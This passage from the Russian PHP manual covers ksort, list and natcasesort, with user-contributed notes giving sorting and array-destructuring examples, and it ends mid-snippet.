Необязательный второй параметр flags изменяет поведение сортировки и может принимать следующие значения:

Флаги типов сортировки:

  • SORT_REGULAR — обычное сравнение элементов; подробности описаны в разделе операторы сравнения
  • SORT_NUMERIC — числовое сравнение элементов
  • SORT_STRING — строковое сравнение элементов
  • SORT_LOCALE_STRING — сравнение элементов как строк на основе текущего языкового стандарта. Флаг использует языковой стандарт, который можно изменить функцией setlocale()
  • SORT_NATURAL — сравнение элементов как строки, используя "естественный порядок", например natsort()
  • SORT_FLAG_CASE — можно объединять (побитовое ИЛИ) с SORT_STRING или SORT_NATURAL для сортировки строк без учёта регистра

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Пример #1 Пример использования ksort()

<?php
$fruits = array("d"=>"lemon", "a"=>"orange", "b"=>"banana", "c"=>"apple");
ksort($fruits);
foreach ($fruits as $key => $val) {
echo "$key = $val\n";
}
?>

Результат выполнения приведённого примера:

a = orange
b = banana
c = apple
d = lemon

Пример #2 ksort() с числовыми (int) ключами

<?php
$a = [0 => 'First', 2 => 'Last', 1 => 'Middle'];
var_dump($a);
ksort($a);
var_dump($a);
?>

Результат выполнения приведённого примера:

array(3) {
  [0]=>
  string(5) "First"
  [2]=>
  string(4) "Last"
  [1]=>
  string(6) "Middle"
}
array(3) {
  [0]=>
  string(5) "First"
  [1]=>
  string(6) "Middle"
  [2]=>
  string(4) "Last"
}

Смотрите также

  • sort() - Сортирует массив по возрастанию
  • krsort() - Сортирует массив по ключу в порядке убывания
  • Сравнение функций сортировки массивов

User Contributed Notes

orlov0562 at gmail dot com 07-Jul-2017 01:13
The first thing that I didn't find in description it's that this function return results from MIN value to MAX value, ex: [-5=>'', 0=>'', 5=>'' ]

Also you should know that by default, it has correct sorting for keys that represented as string but has a number as value, ex: ['-5'=>'', '0'=>'', '5'=>'' ]

Few examples with results:

-----------------------------------------

DESCRIPTION: Keys are numbers + default flag (SORT_REGULAR)

$arr = [
    -5 => 'minus five',
    0 => 'zero',
    1 => 'one',
    2 => 'two',
    100 => 'hundred',
];

ksort($arr);
print_r($arr);

RESULT:

Array
(
    [-5] => minus five
    [0] => zero
    [1] => one
    [2] => two
    [100] => hundred
)

-----------------------------------------
DESCRIPTION: Keys are string numbers + default flag (SORT_REGULAR)

$arr = [
    '-5' => 'minus five',
    '0' => 'zero',
    '1' => 'one',
    '2' => 'two',
    '100' => 'hundred',
];

ksort($arr);
print_r($arr);

RESULT:

Array
(
    [-5] => minus five
    [0] => zero
    [1] => one
    [2] => two
    [100] => hundred
)

-----------------------------------------
DESCRIPTION: Keys are string numbers + SORT_STRING flag

$arr = [
    '-5' => 'minus five',
    '0' => 'zero',
    '1' => 'one',
    '2' => 'two',
    '100' => 'hundred',
];

ksort($arr, SORT_STRING);
print_r($arr);

RESULT:

Array
(
    [-5] => minus five
    [0] => zero
    [1] => one
    [100] => hundred
    [2] => two
)

-----------------------------------------

DESCRIPTION: Keys are string numbers + SORT_NUMERIC flag

$arr = [
    '-5' => 'minus five',
    '0' => 'zero',
    '1' => 'one',
    '2' => 'two',
    '100' => 'hundred',
];

ksort($arr, SORT_NUMERIC);
print_r($arr);

RESULT:

Array
(
    [-5] => minus five
    [0] => zero
    [1] => one
    [2] => two
    [100] => hundred
)
bimal at sanjaal dot com 26-May-2014 07:33
An example of reverse sorting a domain name by its name.

<?php
$domains = array(
    'sub.domain.com',
    'sub2.domain.com',
);

foreach($domains as $d => $domain)
{
    $chunks = explode('.', $domain);
    krsort($chunks);

    echo "\r\n<br>", implode('/', $chunks);
}

/**
 * Outputs as:
 *
 * com/domain/sub
 * com/domain/sub2
 */
?>
Anonymous 10-Feb-2014 05:43
@thegrandoverseer

you could also use the build-in php array functions to get exactly what you want to have:

<?php
        $seed_array = array('foo'=>'bar', 'someotherkey'=>'whatev', 'bar'=>'baz', 'baz'=>'foo', 'anotherkey'=>'anotherval');
        $keys_array = array('baz', 'foo', 'bar');

        $return_array = array_intersect_key($seed_array, array_flip($keys_array)) + array_diff_key($seed_array, array_flip($keys_array));

?>
Anonymous 13-Aug-2013 01:11
Note that this function will output the given $fields in the order they were added to the data array and not automatically in numerical key order.

To output in ascending key order, you'll need to ksort the array first (or use appropriate natural order sorting, depending on your keys).

For example:
<?php
$data[2] = 'C';
$data[0] = 'A';
$data[1] = 'B';

fputcsv($fh, $data); // outputs: "C,A,B"

ksort($data);
fputcsv($fh, $data); // outputs: "A,B,C"
?>
centraleffects at yahoo dot com 06-Jun-2013 05:46
I wrote this function to sort meta_value in wordpress. I tried a lot of array sorting but neither of them work. But this is not suitable for multidimensional array. This is intended only for wordpress meta_value

The problem is to sort below( the order should be ascending; alphabetically then numerically like A-Z then 0-9):
500-999 users
25-49 users
 All Sizes
1-4 users
5-9 users
10-24 users
250-499 users
1000-4999
5000-9999

The solution:

function array_sort($arr){
    if(is_array($arr)){
        $numeric = array();
        $string = array();
        foreach($arr as $k => $v)
        {
            if(isset($v["meta_value"])){
                 $str = explode(" ",trim($v["meta_value"]));
                 $firstWord  = explode("-",trim($str[0]));
             }else{
                 $str = $v;
                 $firstWord  = explode("-",trim($str));
             }

            $firstWord = $firstWord[0];

            if(is_numeric($firstWord))
            {
                $numeric[(int)$firstWord] = $v;
            }else{
                $string[$firstWord] = $v;
            }
            unset($firstWord);
        }
        ksort($string,SORT_STRING);
        ksort($numeric,SORT_NUMERIC);

        return array_merge((array)$string, (array)$numeric);
    }

    return false;
}

The usage:
$meta =get_post_meta($post_id,$meta_key);
$sorted = array_sort($meta);

The result:
 All Sizes
1-4 users
5-9 users
10-24 users
25-49 users
250-499 users
500-999 users
1000-4999
5000-9999
stephen [ at ] brooksie-net [ dot ] co [ dot ] uk 17-Apr-2013 05:10
ksort and krsort fail to undestand scientific notation, https://bugs.php.net/bug.php?id=43053, therefore when sorting numeric keys, if the key is of the form 0.00001 php will represent it as 1.0E-5.

These methods will assume this to be a string and therefore not organise your array as you may expect.

When using value of this form for array keys use sprintf('%f', 0.00001) to generate the key, for smaller values the precision needs to be included
e.g. sprintf('%0.10f', 0.00000001)
thegrandoverseer 13-Jul-2012 06:11
I wrote this function to sort the keys of an array using an array of keynames, in order.
<?php
/**
 * function array_reorder_keys
 * reorder the keys of an array in order of specified keynames; all other nodes not in $keynames will come after last $keyname, in normal array order
 * @param array &$array - the array to reorder
 * @param mixed $keynames - a csv or array of keynames, in the order that keys should be reordered
 */
function array_reorder_keys(&$array, $keynames){
    if(empty($array) || !is_array($array) || empty($keynames)) return;
    if(!is_array($keynames)) $keynames = explode(',',$keynames);
    if(!empty($keynames)) $keynames = array_reverse($keynames);
    foreach($keynames as $n){
        if(array_key_exists($n, $array)){
            $newarray = array($n=>$array[$n]); //copy the node before unsetting
            unset($array[$n]); //remove the node
            $array = $newarray + array_filter($array); //combine copy with filtered array
        }
    }
}
$seed_array = array('foo'=>'bar', 'someotherkey'=>'whatev', 'bar'=>'baz', 'baz'=>'foo', 'anotherkey'=>'anotherval');
array_reorder_keys($seed_array, 'baz,foo,bar'); //returns array('baz'=>'foo', 'foo'=>'bar', 'bar'=>'baz', 'someotherkey'=>'whatev', 'anotherkey'=>'anotherval' );
?>
jakub dot lopuszanski at nasza-klasa dot pl 14-Apr-2011 08:48
Note that ksort will NOT help you much if numeric and string keys are mixed together.
<?php
$t = array(
  "a"=>"A",
  0=>"A",
  "b"=>"A",
  1=>"A"
);
var_dump($t);
ksort($t);
var_dump($t);
?>

produces (on PHP 5.3.6-4 with Suhosin-Patch) :

array(4) {
  ["a"]=>
  string(1) "A"
  [0]=>
  string(1) "A"
  ["b"]=>
  string(1) "A"
  [1]=>
  string(1) "A"
}

array(4) {
  ["b"]=>
  string(1) "A"
  [0]=>
  string(1) "A"
  ["a"]=>
  string(1) "A"
  [1]=>
  string(1) "A"
}

note that the second array should be sorted by keys, but is even more messed up than the first one!
DavidG 17-Jun-2010 06:47
A nice way to do sorting of a key on a multi-dimensional array without having to know what keys you have in the array first:

<?php
$people = array(
array("name"=>"Bob","age"=>8,"colour"=>"red"),
array("name"=>"Greg","age"=>12,"colour"=>"blue"),
array("name"=>"Andy","age"=>5,"colour"=>"purple"));

var_dump($people);

$sortArray = array();

foreach($people as $person){
    foreach($person as $key=>$value){
        if(!isset($sortArray[$key])){
            $sortArray[$key] = array();
        }
        $sortArray[$key][] = $value;
    }
}

$orderby = "name"; //change this to whatever key you want from the array

array_multisort($sortArray[$orderby],SORT_DESC,$people);

var_dump($people);
?>

Output from first var_dump:

[0]=&gt;
  array(3) {
    ["name"]=&gt;
    string(3) "Bob"
    ["age"]=&gt;
    int(8)
    ["colour"]=&gt;
    string(3) "red"
  }
  [1]=&gt;
  array(3) {
    ["name"]=&gt;

    string(4) "Greg"
    ["age"]=&gt;
    int(12)
    ["colour"]=&gt;
    string(4) "blue"
  }
  [2]=&gt;
  array(3) {
    ["name"]=&gt;
    string(4) "Andy"
    ["age"]=&gt;
    int(5)
    ["colour"]=&gt;

    string(6) "purple"
  }
}

Output from 2nd var_dump:

array(3) {
  [0]=&gt;
  array(3) {
    ["name"]=&gt;
    string(4) "Greg"
    ["age"]=&gt;
    int(12)
    ["colour"]=&gt;
    string(4) "blue"
  }
  [1]=&gt;
  array(3) {
    ["name"]=&gt;

    string(3) "Bob"
    ["age"]=&gt;
    int(8)
    ["colour"]=&gt;
    string(3) "red"
  }
  [2]=&gt;
  array(3) {
    ["name"]=&gt;
    string(4) "Andy"
    ["age"]=&gt;
    int(5)
    ["colour"]=&gt;

    string(6) "purple"
  }

There's no checking on whether your array keys exist, or the array data you are searching on is actually there, but easy enough to add.
serpro at gmail dot com 13-Mar-2009 02:02
Here is a function to sort an array by the key of his sub-array.

<?php

function sksort(&$array, $subkey="id", $sort_ascending=false) {

    if (count($array))
        $temp_array[key($array)] = array_shift($array);

    foreach($array as $key => $val){
        $offset = 0;
        $found = false;
        foreach($temp_array as $tmp_key => $tmp_val)
        {
            if(!$found and strtolower($val[$subkey]) > strtolower($tmp_val[$subkey]))
            {
                $temp_array = array_merge(    (array)array_slice($temp_array,0,$offset),
                                            array($key => $val),
                                            array_slice($temp_array,$offset)
                                          );
                $found = true;
            }
            $offset++;
        }
        if(!$found) $temp_array = array_merge($temp_array, array($key => $val));
    }

    if ($sort_ascending) $array = array_reverse($temp_array);

    else $array = $temp_array;
}

?>

Example
<?php
$info = array("peter" => array("age" => 21,
                                           "gender" => "male"
                                           ),
                   "john"  => array("age" => 19,
                                           "gender" => "male"
                                           ),
                   "mary" => array("age" => 20,
                                           "gender" => "female"
                                          )
                  );

sksort($info, "age");
var_dump($info);

sksort($info, "age", true);
var_dump($ifno);
?>

This will be the output of the example:

/*DESCENDING SORT*/
array(3) {
  ["peter"]=>
  array(2) {
    ["age"]=>
    int(21)
    ["gender"]=>
    string(4) "male"
  }
  ["mary"]=>
  array(2) {
    ["age"]=>
    int(20)
    ["gender"]=>
    string(6) "female"
  }
  ["john"]=>
  array(2) {
    ["age"]=>
    int(19)
    ["gender"]=>
    string(4) "male"
  }
}

/*ASCENDING SORT*/
array(3) {
  ["john"]=>
  array(2) {
    ["age"]=>
    int(19)
    ["gender"]=>
    string(4) "male"
  }
  ["mary"]=>
  array(2) {
    ["age"]=>
    int(20)
    ["gender"]=>
    string(6) "female"
  }
  ["peter"]=>
  array(2) {
    ["age"]=>
    int(21)
    ["gender"]=>
    string(4) "male"
  }
}
maik dot riechert at animey dot net 12-Aug-2008 11:32
Be careful when using ksort for mixed type keys!!

$a = array(
    'first' => true,
    0       => 'sally',
);

$b = array(
    0       => 'sally',
    'first' => true,
);

ksort($a);
ksort($b);
var_dump($a);
var_dump($b);

Output is:
array(
    0 => 'sally',
    'first' => true,
)

array(
    'first' => true,
    0 => 'sally',
)

If you want same results for both arrays, use:

ksort($a, SORT_STRING);

The reason for that lays in the compare mechanism which would normally just typecast 'first' to an integer or 0 to a string when comparing it to each other. So you have to use SORT_STRING, otherwise you would lose information when 'first' is converted to int.
ssb45 at cornell dot edu 30-Jun-2005 04:58
The function that justin at booleangate dot org provides works well, but be aware that it is not a drop-in replacement for ksort as is.  While ksort sorts the array by reference and returns a status boolean, natksort returns the sorted array, leaving the original untouched.  Thus, you must use this syntax:

$array = natksort($array);

If you want to use the more natural syntax:

$status = natksort($array);

Then use this modified version:

function natksort(&$array) {
    $keys = array_keys($array);
    natcasesort($keys);

    foreach ($keys as $k) {
        $new_array[$k] = $array[$k];
    }

    $array = $new_array;
    return true;
}
justin at booleangate dot org 18-Jan-2005 01:04
Here's a handy function for natural order sorting on keys.

function natksort($array) {
  // Like ksort but uses natural sort instead
  $keys = array_keys($array);
  natsort($keys);

  foreach ($keys as $k)
    $new_array[$k] = $array[$k];

  return $new_array;
}
09-Mar-2002 07:09
here 2 functions to ksort/uksort an array and all its member arrays

function tksort(&$array)
  {
  ksort($array);
  foreach(array_keys($array) as $k)
    {
    if(gettype($array[$k])=="array")
      {
      tksort($array[$k]);
      }
    }
  }

function utksort(&$array, $function)
  {
  uksort($array, $function);
  foreach(array_keys($array) as $k)
    {
    if(gettype($array[$k])=="array")
      {
      utksort($array[$k], $function);
      }
    }
  }
delvach at mail dot com 06-Nov-2001 01:29
A real quick way to do a case-insensitive sort of an array keyed by strings:

uksort($myArray, "strnatcasecmp");
sbarnum at mac dot com 19-Oct-2001 03:54
ksort on an array with negative integers as keys yields some odd results.  Not sure if this is a bad idea (negative key values) or what.


Присваивает переменным значения похожим на массивы синтаксисом

  • « ksort
  • natcasesort »
  • PHP Manual
  • Функции для работы с массивами
  • Присваивает переменным значения похожим на массивы синтаксисом

list

(PHP 4, PHP 5, PHP 7, PHP 8)

list — Присваивает переменным значения похожим на массивы синтаксисом

Описание

list(mixed $var, mixed ...$vars = ?): array

Как и конструкция array(), это не функция, а языковая конструкция. Конструкцией list() пользуются, чтобы присваивать списку переменных значения за одну операцию. Строки нельзя распаковать, а выражения list() нельзя вызывать без аргументов.

Замечание:

До PHP 7.1.0 конструкция list() работала только с индексированными массивами и принимала числовые индексы начиная с 0.

Список параметров

var

Переменная.

vars

Дополнительные переменные.

Возвращаемые значения

Возвращает присвоенный массив.

Список изменений

Версия | Описание
7.3.0 | Добавлена поддержка присвоения по ссылкам при деструктурировании массива.
7.1.0 | Теперь в конструкции list() разрешено задавать ключи. Это разрешает разыменовывать ассоциативные массивы и массивы с индексами не по порядку.

Примеры

Пример #1 Примеры использования конструкции list()

<?php

$info = array('кофе', 'коричневый', 'кофеин');

// Составить список всех переменных
list($drink, $color, $power) = $info;
echo "$drink - $color, а $power делает его особенным.\n";

// Составить список только некоторых из них
list($drink, , $power) = $info;
echo "В $drink есть $power.\n";

// Или пропустить все, кроме третьей
list( , , $power) = $info;
echo "Мне нужен $power!\n";

// Конструкция list() не работает со строками
list($bar) = "abcde";
var_dump($bar); // NULL
?>

Пример #2 Пример использования конструкции list()

<?php

$result = $pdo->query("SELECT id, name FROM employees");
while (list($id, $name) = $result->fetch(PDO::FETCH_NUM)) {
echo "id: $id, name: $name\n";
}
?>

Пример #3 Использование list() с индексами массивов

<?php

list($a, list($b, $c)) = array(1, array(2, 3));

var_dump($a, $b, $c);

?>
int(1)
int(2)
int(3)

Пример #4 Конструкция list() и порядок указания индексов

Порядок определения индексов в массиве, с которым будет работать конструкция list(), неважен.

<?php

$foo = array(2 => 'a', 'foo' => 'b', 0 => 'c');
$foo[1] = 'd';
list($x, $y, $z) = $foo;
var_dump($foo, $x, $y, $z);

Даёт такой вывод (обратите внимание на порядок, в котором элементы сравнивались, и в каком порядке элементы записаны в синтаксисе list()):

array(4) {
  [2]=>
  string(1) "a"
  ["foo"]=>
  string(1) "b"
  [0]=>
  string(1) "c"
  [1]=>
  string(1) "d"
}
string(1) "c"
string(1) "d"
string(1) "a"

Пример #5 list() с ключами

Начиная с PHP 7.1.0 конструкции list() разрешено содержать явные ключи, которые указывают как произвольные выражения. Допустимо смешивать строковые и целочисленные ключи; однако элементы с ключами и без ключей смешивать нельзя.

<?php

$data = [
["id" => 1, "name" => 'Tom'],
["id" => 2, "name" => 'Fred'],
];
foreach ($data as ["id" => $id, "name" => $name]) {
echo "id: $id, name: $name\n";
}
echo PHP_EOL;
list(1 => $second, 3 => $fourth) = [1, 2, 3, 4];
echo "$second, $fourth\n";

Результат выполнения приведённого примера:

id: 1, name: Tom
id: 2, name: Fred

2, 4

Смотрите также

  • each() - Возвращает текущую пару ключа и значения массива и сдвигает указатель на одну позицию вперёд
  • array() - Создаёт массив
  • extract() - Импортирует переменные массива в текущую таблицу символов

User Contributed Notes

nek dot dev at gmail dot com 27-Dec-2022 10:13
It can be convenient to specify a default value in case an element is missing in the list. You can use operator + for this:

<?php
$someArray = ['color' => 'orange'];
['color' => $color, 'size' => $size] = $someArray + ['color' => null, 'size' => null];
?>

This will avoid the warning `Undefined array key "size"` you would encounter otherwise.
diyor024 at gmail dot com 01-Jul-2021 11:52
Don't miss simple array pattern matching since php 7

<?php

[$a] = ['hello!'];
var_dump($a); // 'hello!'

$arr = [4 => 50];
[4 => $fifty] = $arr;
var_dump($fifty); // 50

$multidimensionalArray = [['id' => 15, 'email' => 'diyor024@gmail.com']];
[['id'  => $id, 'email' => $email]] = $multidimensionalArray;
var_dump($id, $email); // 15 diyor024@gmail.com

?>
samraskul at gmail dot com 27-Feb-2021 08:53
list($a, $b, $c) = ["blue", "money", 32];

shortcut:

[$a, $b, $c] = ["blue", "money", 32];
sergey dot leonidovich dot shevchenko at gmail dot com 12-Feb-2021 01:17
['a' => $x, 'b' => $y] = ['a' => 1, 'b' => 2];

echo $x . '-' . $y; // 1-2
mark at manngo dot net 30-Dec-2020 03:46
For PHP 7.1 on, the documentation states that integer and string keys can be mixed, but that elements with and without keys cannot. Here is an example, using data from getimagesize() with mixed keys:

<?php
    $data=[
        0=> 160,
        1 => 120,
        2 => 2,
        3 => 'width="160" height="120"',
        'mime' => 'image/jpeg'
    ];
    list(0=>$width,1=>$height,2=>$type,3=>$dimensions,'mime'=>$mime)=$data;
?>

Here, the numeric keys also need to be specified, as if the whole array is treated as an associative array.

As noted elsewhere, the list() operator can be written in array format:

<?php
    [0=>$width,1=>$height,2=>$type,3=>$dimensions,'mime'=>$mime]=$data;
?>
fredsaavedra at hotmail dot com 18-Feb-2020 04:03
Easy way to get actual date and time values in variables.

list($day,$month,$year,$hour,$minute,$second) = explode('-',date('d-m-Y-G-i-s'));
echo "$day-$month-$year $hour".":".$minute.":".$second;
vike2000 at gmail dot com 23-Jan-2020 03:49
Setting it like <?php list($var1,$varN) = null ?> does _not_ raise an E_NOTICE (or other error) and afaics effectively equals an https://php.net/function.unset of $var1,$varN.

I note this as contrasting with the fact that PHP triggers an E_NOTICE about "Undefined offset" "if there aren't enough array elements to fill the list()", as attow documented for https://php.net/control-structures.foreach#control-structures.foreach.list and here only noted in https://php.net/function.list#122951 by Mardaneus.

For completeness, a bash(1) (v5.0 or 4.3 on macos10.13) cli test producing the same result for all my PHP-versions (installed via macports.org) follows. It's also tested with php7.3 using bash5.0 on Debian10:
bash --noprofile --norc -c 'for php in php{{53..56},{70..73}};do for literal in "array()" null;do echo -n $php ...=$literal:&&$php -n -d error_reporting=E_ALL -r "var_dump(list(\$var)=$literal);";done;done'

# Above produces the same result pairs per version from:
php53 ...=array():
Notice: Undefined offset: 0 in Command line code on line 1
array(0) {
}
# ... to:
php73 ...=null:NULL
JD 23-Sep-2019 11:24
As of PHP 7.3, lists now support array destructuring - see here: https://www.php.net/manual/en/migration73.new-features.php
Paul Marti 02-Jul-2019 09:45
Since 7.1.0, you can use an array directly without list():

<?php
[$test, $test2] = explode(",", "hello, world");
echo $test . $test2; // hello, world
?>
Mardaneus 17-Jul-2018 08:14
Unless you specify keys when using list() it expects the array being fed into it to start at 0.

So having the following code will result in a notice level warning "Undefined offset: 0" and variables not filling as expected

<?php
list($c1, $c2, $c3) = array [1 =>'a', 2 => 'b', 3 => 'c'];

var_dump($c1); // NULL
var_dump($c2); // string(1) "a"
var_dump($c3); // string(1) "b"

?>
petru at fuxspam dot xtremeweb dot ro 13-Apr-2018 10:11
This is something I haven't seen in documentation.

Since PHP 7.1, you can use short-hand list unpacking using square brackets, just like short-hand array declaration:

<?php

$foo = ['a', 'b', 'c'];

// short-hand array definition
[$a, $b, $c] = $foo;
echo $a; // displays "a"

// it's same like:
list($x, $y, $z) = $foo;
echo $x; // displays "a"

?>
contato at tobias dot ws 28-Mar-2018 07:22
Since PHP 7.1 the [] may now be used as an alternative to the existing list() syntax:

<?php
[$number, $message] = explode('|', '123|Hello World!');
?>
blazej 31-Aug-2017 02:00
From PHP Version 7.1 you can specify keys in list(), or its new shorthand [] syntax. This enables destructuring of arrays with non-integer or non-sequential keys.

<?php
$data = [
    ["id" => 1, "name" => 'Tom'],
    ["id" => 2, "name" => 'Fred'],
];

// list() style
list("id" => $id1, "name" => $name1) = $data[0];

// [] style
["id" => $id1, "name" => $name1] = $data[0];

// list() style
foreach ($data as list("id" => $id, "name" => $name)) {
    // logic here with $id and $name
}

// [] style
foreach ($data as ["id" => $id, "name" => $name]) {
    // logic here with $id and $name
}
grzeniufication 27-May-2017 04:01
<?php
/**
 * It seems you can skip listed values.
 * Here's an example to show what I mean.
 *
 * FYI works just as well with PHP 7.1 shorthand list syntax.
 * Tested against PHP 5.6.30, 7.1.5
 */
$a = [ 1, 2, 3, 4 ];

// this is quite normal use case for list
echo "Unpack all values\n";
list($v1, $v2, $v3, $v4) = $a;
echo "$v1, $v2, $v3, $v4\n";
unset($v1, $v2, $v3, $v4);

// this is what I mean:
echo "Skip middle\n";
list($v1, , , $v4) = $a;
echo "$v1, $v2, $v3, $v4\n";
unset($v1, $v2, $v3, $v4);

echo "Skip beginning\n";
list( , , $v3, $v4) = $a;
echo "$v1, $v2, $v3, $v4\n";
unset($v1, $v2, $v3, $v4);

echo "Skip end\n";
list($v1, $v2, , ) = $a;
echo "$v1, $v2, $v3, $v4\n";
unset($v1, $v2, $v3, $v4);

echo "Leave middle\n";
list( , $v2, $v3, ) = $a;
echo "$v1, $v2, $v3, $v4\n";
unset($v1, $v2, $v3, $v4);
Rhamnia Mohamed 17-May-2017 11:37
Since PHP 7.1, keys can be specified

exemple :
<?php
$array = ['locality' => 'Tunis', 'postal_code' => '1110'];

list('postal_code' => $zipCode, 'locality' => $locality) = $array;

print $zipCode; // will output 1110
print $locality; // will output Tunis
 ?>
carlosv775 at gmail dot com 12-Jan-2017 08:30
In PHP 7.1 we can do the following:

<?php
    [$a, $b, $c] = ['a', 'b', 'c'];
?>

Before, we had to do:

<?php
    list($a, $b, $c) = ['a', 'b',  'c'];
?>
anthony dot ossent at live dot fr 23-Oct-2016 03:04
a simple example of use to swap two variables :

$a = 'hello';
$b = 'world';

list($a, $b) = [$b, $a];

echo $a . ' ' . $b; //display "world hello"

another example :

function getPosition($x, $y, $z)
{
   // ... some operations like $x++...
   return [$x, $y, $z];
}

list($x, $y, $z) = getPosition($x ,$y, $z);
pemapmodder1970 at gmail dot com 05-Feb-2016 04:08
list() can be used with foreach

<?php
$array = [[1, 2], [3, 4], [5, 6]];

foreach($array as list($odd, $even)){
    echo "$odd is odd; $even is even", PHP_EOL;
}
?>

The output:
===
1 is odd; 2 is even
3 is odd; 4 is even
5 is odd; 6 is even
Dean 10-Dec-2015 07:20
UNDOCUMENTED BEHAVIOR:

    list($a,$b,$c) = null;

in fact works like:

    $a = null; $b = null; $c = null;

...So correspondingly:

    list($rows[]) = null;

Will increment count($rows), just as if you had executed $rows[] = null;

Watch out for this (for example) when retrieving entire tables from a database, e.g.

    while (list($rows[]) = $mysqlresult->fetch_row());

This will leave an extra 'null' entry as the last element of $rows.
Colin Guthrie 20-Jul-2015 01:41
If you want use the undefined behaviour as you might expect it e.g. if you want:

  $b = ['a','b']; list($a, $b) = $b;

to result in $a=='a' and $b=='b', then you can just cast $b to an array (even although it already is) to create a copy. e.g.

  $b = ['a','b']; list($a, $b) = (array)$b;

and get the expected results.
grzeniufication 21-Oct-2014 10:35
The example showing that:

$info = array('kawa', 'brazowa', 'kofeina');
list($a[0], $a[1], $a[2]) = $info;
var_dump($a);

outputs:
array(3) {
[2]=>
string(8) "kofeina"
[1]=>
string(5) "brazowa"
[0]=>
string(6) "kawa"
}

One thing to note here is that if you define the array earlier, e.g.:
$a = [0, 0, 0];

the indexes will be kept in the correct order:

array(3) {
  [0]=>
  string(4) "kawa"
  [1]=>
  string(8) "brazowa"
  [2]=>
  string(7) "kofeina"
}

Thought that it was worth mentioning.
john at jbwalker dot com 08-Dec-2013 12:31
The list construct seems to look for a sequential list of indexes rather taking elements in sequence. What that obscure statement means is that if you unset an element, list will not simply jump to the next element and assign that to the variable but will treat the missing element as a null or empty variable:

    $test = array("a","b","c","d");
    unset($test[1]);
    list($a,$b,$c)=$test;
    print "\$a='$a' \$b='$b' \$c='$c'<BR>";

results in:
$a='a' $b='' $c='c'

not:
$a='a' $b='c' $c='d'
megan at voices dot com 10-Sep-2013 03:45
As noted, list() will give an error if the input array is too short. This can be avoided by array_merge()'ing in some default values. For example:

<?php
$parameter = 'name';
list( $a, $b ) = array_merge( explode( '=', $parameter ), array( true ) );
?>

However, you will have to array_merge with an array long enough to ensure there are enough elements (if $parameter is empty, the code above would still error).

An alternate approach would be to use array_pad on the array to ensure its length (if all the defaults you need to add are the same).

<?php
    $parameter = 'bob-12345';
    list( $name, $id, $fav_color, $age ) = array_pad( explode( '-', $parameter ), 4, '' );
    var_dump($name, $id, $fav_color, $age);
/* outputs
string(3) "bob"
string(5) "12345"
string(0) ""
string(0) ""
*/
?>
svennd 23-Dec-2012 07:08
The list() definition won't throw an error if your array is longer then defined list.
<?php

list($a, $b, $c) = array("a", "b", "c", "d");

var_dump($a); // a
var_dump($b); // b
var_dump($c); // c
?>
chris at chlab dot ch 07-Nov-2012 03:00
The example states the following:
<?php
// list() doesn't work with strings
list($bar) = "abcde";
var_dump($bar);
// output: NULL
?>

If the string is in a variable however, it seems using list() will treat the string as an array:
<?php
$string = "abcde";
list($foo) = $string;
var_dump($foo);
// output: string(1) "a"
?>


Сортирует массив алгоритмом естественной сортировки (natural order) без учёта регистра символов

  • « list
  • natsort »
  • PHP Manual
  • Функции для работы с массивами
  • Сортирует массив алгоритмом естественной сортировки (natural order) без учёта регистра символов

natcasesort

(PHP 4, PHP 5, PHP 7, PHP 8)

natcasesort — Сортирует массив алгоритмом естественной сортировки (natural order) без учёта регистра символов

Описание

natcasesort(array &$array): true

Функция natcasesort() — это регистронезависимый аналог функции natsort().

Функция реализует алгоритм сортировки, при котором порядок буквенно-цифровых строк будет привычным для человека. Такой алгоритм называется natural ordering.

Замечание:

Функция сохраняет первоначальный порядок элементов, если при сравнении значения двух элементов равны. До PHP 8.0.0 порядок элементов в отсортированном массиве оставался неопределённым.

Замечание:

Функция сбрасывает внутренний указатель массива на первый элемент.

Список параметров

array

Входной массив.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Пример #1 Пример использования функции natcasesort()

<?php

$array1 = $array2 = array('IMG0.png', 'img12.png', 'img10.png', 'img2.png', 'img1.png', 'IMG3.png');

sort($array1);
echo "Обычная сортировка\n";
print_r($array1);

natcasesort($array2);
echo "\nЕстественная сортировка (natural order) (без учёта регистра)\n";
print_r($array2);
?>

Результат выполнения приведённого примера:

Обычная сортировка
Array
(
    [0] => IMG0.png
    [1] => IMG3.png
    [2] => img1.png
    [3] => img10.png
    [4] => img12.png
    [5] => img2.png
)

Естественная сортировка (natural order) (без учёта регистра)
Array
(
    [0] => IMG0.png
    [4] => img1.png
    [3] => img2.png
    [5] => IMG3.png
    [2] => img10.png
    [1] => img12.png
)

Больше информации дано на странице Мартина Пула (Martin Pool) » Natural Order String Comparison.

Смотрите также

  • natsort() - Сортирует массив, для чего использует алгоритм «естественной сортировки»
  • Сравнение функций сортировки массивов
  • strnatcmp() - Сравнение строк с использованием алгоритма "natural order"
  • strnatcasecmp() - Сравнение строк без учёта регистра с использованием алгоритма "natural order"

User Contributed Notes

w-dot-rosenbach-at-netskill-de 14-Dec-2010 09:45
Sorting UTF-8 by arbitrary order:

<?php
mb_internal_encoding("UTF-8");

class utf_8_german
{
  // everything else is sorted at the end
  static $order = '0123456789AaAaBbCcDdEeFfGgHhIiJjKkLlMm
NnOoOoPpQqRrSs?TtUuUuVvWwXxYyZz';
  static $char2order;

  static function cmp($a, $b) {
    if ($a == $b) {
        return 0;
    }

    // lazy init mapping
    if (empty(self::$char2order))
    {
      $order = 1;
      $len = mb_strlen(self::$order);
      for ($order=0; $order<$len; ++$order)
      {
        self::$char2order[mb_substr(self::$order, $order, 1)] = $order;
      }
    }

    $len_a = mb_strlen($a);
    $len_b = mb_strlen($b);
    $max=min($len_a, $len_b);
    for($i=0; $i<$max; ++$i)
    {
      $char_a= mb_substr($a, $i, 1);
      $char_b= mb_substr($b, $i, 1);

      if ($char_a == $char_b) continue;
      $order_a = (isset(self::$char2order[$char_a])) ? self::$char2order[$char_a] : 9999;
      $order_b = (isset(self::$char2order[$char_b])) ? self::$char2order[$char_b] : 9999;

      return ($order_a < $order_b) ? -1 : 1;
    }
    return ($len_a < $len_b) ? -1 : 1;
  }
}

// usage example:

$t = array(
  'Birnen', 'Birne', 'Apfel', 'Apfel',
);

uasort($t, 'utf_8_german::cmp');
echo '$t: <pre>'.htmlspecialchars(print_r($t,true),null,'UTF-8').'</pre>';
?>
shawn at shawnwilkerson dot com 05-May-2009 10:03
I kept getting varied results using natcasesort and sort on mixed arrays -- per the descriptions.

Sometimes simple is better:

A little snippet of code:

<?php                        if($responders->num_rows) {
